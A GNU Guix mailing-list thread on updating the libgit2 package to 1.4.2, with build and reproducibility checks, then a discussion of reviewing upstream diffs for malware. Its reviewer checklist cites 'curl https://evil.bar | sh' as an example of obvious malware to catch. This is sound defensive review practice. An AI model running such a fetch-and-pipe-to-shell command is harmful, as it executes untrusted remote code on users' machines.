[bug#54611] [WIP PATCH] gnu: Update libgit2 to 1.4.2

[bug#54611] [WIP PATCH] gnu: Update libgit2 to 1.4.2

[Maxime Devos]

[-- Attachment #1: Type: text/plain, Size: 183 bytes --]

Patch is not yet ready (I'm looking at the source code diff for
anything ‘suspicious’), just reserving a bug number and avoiding double
work.  Will send an actual patch later.

[-- Attachment #2: This is a digitally signed message part --]
[-- Type: application/pgp-signature, Size: 260 bytes --]

[bug#54611] [WIP PATCH] gnu: Update libgit2 to 1.4.2

[Maxime Devos]

[-- Attachment #1.1: Type: text/plain, Size: 857 bytes --]

Maxime Devos schreef op ma 28-03-2022 om 15:12 [+0200]:
> Patch is not yet ready (I'm looking at the source code diff for
> anything ‘suspicious’), just reserving a bug number and avoiding
> double
> work.  Will send an actual patch later.

Looks like it cannot find libssh2:

$ ./pre-inst-env guix build libgit2
> [...]
> -- LIBSSH2 not found. Set CMAKE_PREFIX_PATH if it is installed
outside of the default search path.
> [...]
> -- Disabled features:
> * debugpool, debug pool allocator
> * debugalloc, debug strict allocators
> * debugopen, path validation in open
> * SSH, SSH transport support
> * ntlmclient, NTLM authentication support for Unix
> * SPNEGO, SPNEGO authentication support
> * iconv, iconv encoding conversion support

ssh support seems rather important.  TBI ...
WIP patch attached.

Greetings,
Maxime

[-- Attachment #1.2: Type: text/x-patch, Size: 980 bytes --]

diff --git a/gnu/packages/version-control.scm b/gnu/packages/version-control.scm
index 9489cf9980..901487da58 100644
--- a/gnu/packages/version-control.scm
+++ b/gnu/packages/version-control.scm
@@ -789,7 +789,7 @@ (define-public git-cal
 (define-public libgit2
   (package
     (name "libgit2")
-    (version "1.3.0")
+    (version "1.4.2")
     (source (origin
               ;; Since v1.1.1, release artifacts are no longer offered (see:
               ;; https://github.com/libgit2/libgit2/discussions/5932#discussioncomment-1682729).
@@ -800,7 +800,7 @@ (define-public libgit2
               (file-name (git-file-name name version))
               (sha256
                (base32
-                "0vgpb2175a5dhqiy1iwywwppahgqhi340i8bsvafjpvkw284vazd"))
+                "0xd5w2kzdafipf10sdjmrzzsi12q8rkpcafajwlnmwvrbg6ldvs5"))
               (modules '((guix build utils)))
               (snippet '(delete-file-recursively "deps"))))
     (build-system cmake-build-system)

[-- Attachment #2: This is a digitally signed message part --]
[-- Type: application/pgp-signature, Size: 260 bytes --]

[bug#54611] [WIP PATCH] gnu: Update libgit2 to 1.4.2

[Maxime Devos]

[-- Attachment #1.1: Type: text/plain, Size: 886 bytes --]

Maxime Devos schreef op di 29-03-2022 om 22:30 [+0200]:
> Maxime Devos schreef op ma 28-03-2022 om 15:12 [+0200]:
> > Patch is not yet ready (I'm looking at the source code diff for
> > anything ‘suspicious’), just reserving a bug number and avoiding
> > double
> > work.  Will send an actual patch later.
> 
> Looks like it cannot find libssh2:

With the attached patch, libgit2 actually finds libssh2.
Next steps:

* [ ] verify it builds on a 32-bit arch (maybe i686-linux)
* [ ] verify it cross-compiles
* [ ] verify that dependents still build.

If someone has a x86_64 and is interested in a reproducibility check:

# store item returned by "./pre-inst-env guix build libgit2 --no-
grafts"
$ ./pre-inst-env guix hash -r /gnu/store/5sm6dz6jjn7bgnqlakhlw72ncfxdyh2n-libgit2-1.4.2
1g3qbpca5j5s7iklx5ln6pi4aw0ycx69djiajgzqmw7k64b935qb

Greetings,
Maxime.

[-- Attachment #1.2: 0001-gnu-libgit2-Update-to-1.4.2.patch --]
[-- Type: text/x-patch, Size: 3248 bytes --]

From a7df2fe70f38cfb53084e1bea14e90836fa8caa5 Mon Sep 17 00:00:00 2001
From: Maxime Devos <maximedevos@telenet.be>
Date: Thu, 31 Mar 2022 16:34:47 +0000
Subject: [PATCH] gnu: libgit2: Update to 1.4.2.

* gnu/packages/version-control.scm (libgit2)
  [version]: Update to 1.4.2.
  [arguments]<#:configure-flags>: Explicitly enable SSH support.
  [arguments]<#:phases>{check}: Adjust to new test runner name.
  [arguments]<#:phases>{fix-hardcoded-paths}: Remove obsolete phase.
---
 gnu/packages/version-control.scm | 15 +++++----------
 1 file changed, 5 insertions(+), 10 deletions(-)

diff --git a/gnu/packages/version-control.scm b/gnu/packages/version-control.scm
index 9489cf9980..f48c5d2b53 100644
--- a/gnu/packages/version-control.scm
+++ b/gnu/packages/version-control.scm
@@ -44,6 +44,7 @@
 ;;; Copyright © 2021 jgart <jgart@dismail.de>
 ;;; Copyright © 2021 Foo Chuan Wei <chuanwei.foo@hotmail.com>
 ;;; Copyright © 2022 Jai Vetrivelan <jaivetrivelan@gmail.com>
+;;; Copyright © 2022 Maxime Devos <maximedevos@telenet.be>
 ;;;
 ;;; This file is part of GNU Guix.
 ;;;
@@ -789,7 +790,7 @@ to GitHub contributions calendar.")
 (define-public libgit2
   (package
     (name "libgit2")
-    (version "1.3.0")
+    (version "1.4.2")
     (source (origin
               ;; Since v1.1.1, release artifacts are no longer offered (see:
               ;; https://github.com/libgit2/libgit2/discussions/5932#discussioncomment-1682729).
@@ -800,7 +801,7 @@ to GitHub contributions calendar.")
               (file-name (git-file-name name version))
               (sha256
                (base32
-                "0vgpb2175a5dhqiy1iwywwppahgqhi340i8bsvafjpvkw284vazd"))
+                "0xd5w2kzdafipf10sdjmrzzsi12q8rkpcafajwlnmwvrbg6ldvs5"))
               (modules '((guix build utils)))
               (snippet '(delete-file-recursively "deps"))))
     (build-system cmake-build-system)
@@ -810,6 +811,7 @@ to GitHub contributions calendar.")
        (list "-DUSE_NTLMCLIENT=OFF" ;TODO: package this
              "-DREGEX_BACKEND=pcre2"
              "-DUSE_HTTP_PARSER=system"
+             "-DUSE_SSH=ON" ; cmake fails to find libssh if this is missing
              ,@(if (%current-target-system)
                    `((string-append
                       "-DPKG_CONFIG_EXECUTABLE="
@@ -820,18 +822,11 @@ to GitHub contributions calendar.")
                    '()))
        #:phases
        (modify-phases %standard-phases
-         (add-after 'unpack 'fix-hardcoded-paths
-           (lambda _
-             (substitute* "tests/repo/init.c"
-               (("#!/bin/sh") (string-append "#!" (which "sh"))))
-             (substitute* "tests/clar/fs.h"
-               (("/bin/cp") (which "cp"))
-               (("/bin/rm") (which "rm")))))
          ;; Run checks more verbosely, unless we are cross-compiling.
          (replace 'check
            (lambda* (#:key (tests? #t) #:allow-other-keys)
              (if tests?
-                 (invoke "./libgit2_clar" "-v" "-Q")
+                 (invoke "./libgit2_tests" "-v" "-Q")
                  ;; Tests may be disabled if cross-compiling.
                  (format #t "Test suite not run.~%")))))))
     (inputs

base-commit: 9a31942cabb5c73174aee96ecd873fcf89955a9d
-- 
2.30.2


[-- Attachment #2: This is a digitally signed message part --]
[-- Type: application/pgp-signature, Size: 260 bytes --]

[bug#54611] [WIP PATCH] gnu: Update libgit2 to 1.4.2

[Maxime Devos]

[-- Attachment #1: Type: text/plain, Size: 339 bytes --]

Maxime Devos schreef op do 31-03-2022 om 19:11 [+0200]:
> * [ ] verify that dependents still build.

This seems to go rather slowly.  None have failed to built yet, except
'guix' and 'kmessagelib' (https://issues.guix.gnu.org/54658,
https://issues.guix.gnu.org/53543).  These test failures seem
unrelated.  So far things look good.

[-- Attachment #2: This is a digitally signed message part --]
[-- Type: application/pgp-signature, Size: 260 bytes --]

[bug#54611] [WIP PATCH] gnu: Update libgit2 to 1.4.2

[Maxime Devos]

[-- Attachment #1: Type: text/plain, Size: 532 bytes --]

Maxime Devos schreef op do 31-03-2022 om 19:11 [+0200]:
* [ ] verify it builds on a 32-bit arch (maybe i686-linux)

It does:

$ /pre-inst-env guix build libgit2 --system=i686-linux --cores=16 --no-grafts
> /gnu/store/gc6f6zkmh5sj2a9gpdp8xf2xqmd7dsdy-libgit2-1.4.2-debug
> /gnu/store/lx1p75x2ljj5f2g6v8ya8pqccr9kgcbn-libgit2-1.4.2
# reproducibility check
$ ./pre-inst-env guix hash -rx /gnu/store/lx1p75x2ljj5f2g6v8ya8pqccr9kgcbn-libgit2-1.4.2
> 05ilpjik1cw1aqnf1i2mnc4ja91p0glr19r2bag2p424l0zbwh9g

Greetings,
Maxime.

[-- Attachment #2: This is a digitally signed message part --]
[-- Type: application/pgp-signature, Size: 260 bytes --]

[bug#54611] [WIP PATCH] gnu: Update libgit2 to 1.4.2

[Thiago Jung Bauermann via Guix-patches via]

Hello Maxim,

Maxime Devos <maximedevos@telenet.be> writes:
> Maxime Devos schreef op do 31-03-2022 om 19:11 [+0200]:
> * [ ] verify it builds on a 32-bit arch (maybe i686-linux)
>
> It does:
>
> $ /pre-inst-env guix build libgit2 --system=i686-linux --cores=16 --no-grafts
>> /gnu/store/gc6f6zkmh5sj2a9gpdp8xf2xqmd7dsdy-libgit2-1.4.2-debug
>> /gnu/store/lx1p75x2ljj5f2g6v8ya8pqccr9kgcbn-libgit2-1.4.2
> # reproducibility check
> $ ./pre-inst-env guix hash -rx /gnu/store/lx1p75x2ljj5f2g6v8ya8pqccr9kgcbn-libgit2-1.4.2
>> 05ilpjik1cw1aqnf1i2mnc4ja91p0glr19r2bag2p424l0zbwh9g

This hash also matched on my system. Nice!

-- 
Thanks
Thiago

[bug#54611] [WIP PATCH] gnu: Update libgit2 to 1.4.2

[Maxime Devos]

[-- Attachment #1: Type: text/plain, Size: 676 bytes --]

Maxime Devos schreef op do 31-03-2022 om 19:11 [+0200]:
* [ ] verify it cross-compiles

It does:

$ ./pre-inst-env guix build libgit2 --target=riscv64-linux-gnu --system=x86_64-linux  --no-grafts
> /gnu/store/lj17ci85vdrmhxg2mm7ri6pxb7gky0x1-libgit2-1.4.2-debug
> /gnu/store/4ib6wzqi2r6yli214jc41w4kfm1cv7kr-libgit2-1.4.2
# reproducibility check
$ ./pre-inst-env guix hash -rx /gnu/store/4ib6wzqi2r6yli214jc41w4kfm1cv7kr-libgit2-1.4.2
> 1dh9zw874gzn72rzmg0s57115fgwmsk5h3nx0bzdvczlh3zc9hz6
$ ./pre-inst-env guix hash -rx /gnu/store/lj17ci85vdrmhxg2mm7ri6pxb7gky0x1-libgit2-1.4.2-debug
> 1sak58mjzrwg9jrzbv1xdxl3198qmfi794aybqypp31k9dh20n7y

Greetings,
Maxime.

[-- Attachment #2: This is a digitally signed message part --]
[-- Type: application/pgp-signature, Size: 260 bytes --]

[bug#54611] [WIP PATCH] gnu: Update libgit2 to 1.4.2

[Maxime Devos]

[-- Attachment #1: Type: text/plain, Size: 373 bytes --]

Maxime Devos schreef op do 31-03-2022 om 19:11 [+0200]:
> * [ ] verify it builds on a 32-bit arch (maybe i686-linux)
> * [ ] verify it cross-compiles
> * [ ] verify that dependents still build.

I wasn't able to build-test all dependents (89) due to it taking too
long, but otherwise all boxes are checked.  I think the patch is ready,
WDYT?

Greetings,
Maxime.

[-- Attachment #2: This is a digitally signed message part --]
[-- Type: application/pgp-signature, Size: 260 bytes --]

[bug#54611] [WIP PATCH] gnu: Update libgit2 to 1.4.2

[Thiago Jung Bauermann via Guix-patches via]

Hello Maxime,

Maxime Devos <maximedevos@telenet.be> writes:

> [[PGP Signed Part:Undecided]]
> Maxime Devos schreef op di 29-03-2022 om 22:30 [+0200]:
>> Maxime Devos schreef op ma 28-03-2022 om 15:12 [+0200]:
>> > Patch is not yet ready (I'm looking at the source code diff for
>> > anything ‘suspicious’), just reserving a bug number and avoiding
>> > double
>> > work.  Will send an actual patch later.
>> 
>> Looks like it cannot find libssh2:
>
> With the attached patch, libgit2 actually finds libssh2.
> Next steps:
>
> * [ ] verify it builds on a 32-bit arch (maybe i686-linux)
> * [ ] verify it cross-compiles
> * [ ] verify that dependents still build.
>
> If someone has a x86_64 and is interested in a reproducibility check:
>
> # store item returned by "./pre-inst-env guix build libgit2 --no-
> grafts"
> $ ./pre-inst-env guix hash -r /gnu/store/5sm6dz6jjn7bgnqlakhlw72ncfxdyh2n-libgit2-1.4.2
> 1g3qbpca5j5s7iklx5ln6pi4aw0ycx69djiajgzqmw7k64b935qb

I did that, and obtained the same hash!

-- 
Thanks
Thiago

bug#54611: [WIP PATCH] gnu: Update libgit2 to 1.4.2

[Ludovic Courtès]

Hi Maxime,

Maxime Devos <maximedevos@telenet.be> skribis:

> From a7df2fe70f38cfb53084e1bea14e90836fa8caa5 Mon Sep 17 00:00:00 2001
> From: Maxime Devos <maximedevos@telenet.be>
> Date: Thu, 31 Mar 2022 16:34:47 +0000
> Subject: [PATCH] gnu: libgit2: Update to 1.4.2.
>
> * gnu/packages/version-control.scm (libgit2)
>   [version]: Update to 1.4.2.
>   [arguments]<#:configure-flags>: Explicitly enable SSH support.
>   [arguments]<#:phases>{check}: Adjust to new test runner name.
>   [arguments]<#:phases>{fix-hardcoded-paths}: Remove obsolete phase.

I started from this patch, bumped to 1.4.3, adjusted for the
time-dependent test, adjusted ‘libgit2-1.1’, introduced ‘libgit2-1.3’
for use in packages that can’t switch to 1.4, etc.

Pushed as e764b89a52171fd5ff6d22fdb562ceb60ec6a50a.

Let me know if you notice anything wrong!

Thanks,
Ludo’.

[bug#54611] [WIP PATCH] gnu: Update libgit2 to 1.4.2

[Maxime Devos]

[-- Attachment #1: Type: text/plain, Size: 537 bytes --]

Ludovic Courtès schreef op wo 11-05-2022 om 23:56 [+0200]:
> I started from this patch, bumped to 1.4.3, adjusted for the
> time-dependent test, adjusted ‘libgit2-1.1’, introduced ‘libgit2-1.3’
> for use in packages that can’t switch to 1.4, etc.

Maybe in the future, I could use
<https://data.guix-patches.cbaines.net/> for determining if there are
no new build failures.

> 
> Pushed as e764b89a52171fd5ff6d22fdb562ceb60ec6a50a.
> 
> Let me know if you notice anything wrong!

Thanks!

Greetings,
Maxime.

[-- Attachment #2: This is a digitally signed message part --]
[-- Type: application/pgp-signature, Size: 260 bytes --]

Reviewing the diff when updating a package?

[Thiago Jung Bauermann]

Hello Maxime,

Maxime Devos <maximedevos@telenet.be> writes:

> Patch is not yet ready (I'm looking at the source code diff for
> anything ‘suspicious’), just reserving a bug number and avoiding double
> work.  Will send an actual patch later.

I hope you don't mind me asking what do you mean by ‘suspicious’?

Is it reviewing the code for security concerns?

I ask because I've wondered sometimes whether contributors updating a
package to a new version should review the new source code.

-- 
Thanks
Thiago

Re: Reviewing the diff when updating a package?

[Maxime Devos]

[-- Attachment #1: Type: text/plain, Size: 2082 bytes --]

Thiago Jung Bauermann schreef op vr 01-04-2022 om 22:59 [-0300]:
> Hello Maxime,
> 
> Maxime Devos <maximedevos@telenet.be> writes:
> 
> > Patch is not yet ready (I'm looking at the source code diff for
> > anything ‘suspicious’), just reserving a bug number and avoiding double
> > work.  Will send an actual patch later.
> 
> I hope you don't mind me asking what do you mean by ‘suspicious’?
> 
> Is it reviewing the code for security concerns?

That (to a limited degree), and other things.

> 
> I ask because I've wondered sometimes whether contributors updating a
> package to a new version should review the new source code.

I don't think it's feasible for, say, large things like GCC and Linux.
But for smaller things with smaller diffs, say a hypothetical npm-
event-stream package, it would easily avoid things like the compromise
described in <https://lwn.net/Articles/773121/>.

While we cannot feasibly protect users against more ‘hidden’ malware
(e.g. some non-obvious remote code execution in C that then will be
exploited by the upstream authors), the more obvious ‘here's a blob you
don't need to look at’ seems detectable.  I think ‘no malware (AFAWCT)’
is an important property of a distribution.

I look for the following things:

  1. additional bundled software
  2. code with a different license than mentioned in the 'license'
     field (especially if it's propietary)
  3. ‘obvious’ malware like: curl https://evil.bar | sh - in a
  4. blobs (possibly hiding malware)
  5. things that look like bugs (e.g. not checking the return value of
     'malloc' for NULL, not escaping things written to HTML documents
      ...)

I think I can reliably detect (1,3,4).  I sometimes detect (5) but not
detecting (5) (*) doesn't mean there are no bugs, I just quickly scroll
through the code and don't do any detailed analysis

(*) more specifically, some code not checking for NULL and an URL being
embedded in the 'href' attribute of an XML element without escaping.


Greetings,
Maxime.

[-- Attachment #2: This is a digitally signed message part --]
[-- Type: application/pgp-signature, Size: 260 bytes --]

Re: Reviewing the diff when updating a package?

[Thiago Jung Bauermann]

Hello Maxime,

Thank you for such a detailed answer to my question. I appreciate it.

Maxime Devos <maximedevos@telenet.be> writes:

> Thiago Jung Bauermann schreef op vr 01-04-2022 om 22:59 [-0300]:
>> Hello Maxime,
>> 
>> Maxime Devos <maximedevos@telenet.be> writes:
>> 
>> > Patch is not yet ready (I'm looking at the source code diff for
>> > anything ‘suspicious’), just reserving a bug number and avoiding double
>> > work.  Will send an actual patch later.
>> 
>> I hope you don't mind me asking what do you mean by ‘suspicious’?
>> 
>> Is it reviewing the code for security concerns?
>
> That (to a limited degree), and other things.
>
>> I ask because I've wondered sometimes whether contributors updating a
>> package to a new version should review the new source code.
>
> I don't think it's feasible for, say, large things like GCC and Linux.
> But for smaller things with smaller diffs, say a hypothetical npm-
> event-stream package, it would easily avoid things like the compromise
> described in <https://lwn.net/Articles/773121/>.
>
> While we cannot feasibly protect users against more ‘hidden’ malware
> (e.g. some non-obvious remote code execution in C that then will be
> exploited by the upstream authors), the more obvious ‘here's a blob you
> don't need to look at’ seems detectable.  I think ‘no malware (AFAWCT)’
> is an important property of a distribution.

Indeed. That's a very sensible approach. Just because we can't hope to
detect all malicious changes, doesn't mean we can't attempt to catch the
more obvious malicious changes which, as your example shows, are
actually found in the wild.

> I look for the following things:
>
>   1. additional bundled software
>   2. code with a different license than mentioned in the 'license'
>      field (especially if it's propietary)
>   3. ‘obvious’ malware like: curl https://evil.bar | sh - in a
>   4. blobs (possibly hiding malware)
>   5. things that look like bugs (e.g. not checking the return value of
>      'malloc' for NULL, not escaping things written to HTML documents
>       ...)
>
> I think I can reliably detect (1,3,4).  I sometimes detect (5) but not
> detecting (5) (*) doesn't mean there are no bugs, I just quickly scroll
> through the code and don't do any detailed analysis
>
> (*) more specifically, some code not checking for NULL and an URL being
> embedded in the 'href' attribute of an XML element without escaping.

Wow, that's very thorough. Thank you for all this care with package
updates.

This is very useful guidance when creating/reviewing patches that update
packages. I'll take a stab at adding this information to the “Submitting
Patches” section of the manual.

-- 
Thanks
Thiago

Re: Reviewing the diff when updating a package?

[Ludovic Courtès]

Hi,

Maxime Devos <maximedevos@telenet.be> skribis:

> While we cannot feasibly protect users against more ‘hidden’ malware
> (e.g. some non-obvious remote code execution in C that then will be
> exploited by the upstream authors), the more obvious ‘here's a blob you
> don't need to look at’ seems detectable.  I think ‘no malware (AFAWCT)’
> is an important property of a distribution.

Agreed.

> I look for the following things:
>
>   1. additional bundled software
>   2. code with a different license than mentioned in the 'license'
>      field (especially if it's propietary)
>   3. ‘obvious’ malware like: curl https://evil.bar | sh - in a
>   4. blobs (possibly hiding malware)
>   5. things that look like bugs (e.g. not checking the return value of
>      'malloc' for NULL, not escaping things written to HTML documents
>       ...)
>
> I think I can reliably detect (1,3,4).  I sometimes detect (5) but not
> detecting (5) (*) doesn't mean there are no bugs, I just quickly scroll
> through the code and don't do any detailed analysis

I usually check #1, #2, and #4 for new packages; for an update, I pay
much less attention to those.

The other checks you describe are laudable, and it’s great if someone
can do that.  But I think we should not hold every review to this high
standard, nor suggest that we’re uniformly following that standard—it’s
just not feasible.

We need to find a balance between “thoroughly-reviewed” and “lively”,
which are usually antithetical.  I’d rather have more reviewers doing a
couple of the items above than no reviewers at all (and lately we’ve
been desperately short on reviewers!).

Thanks,
Ludo’.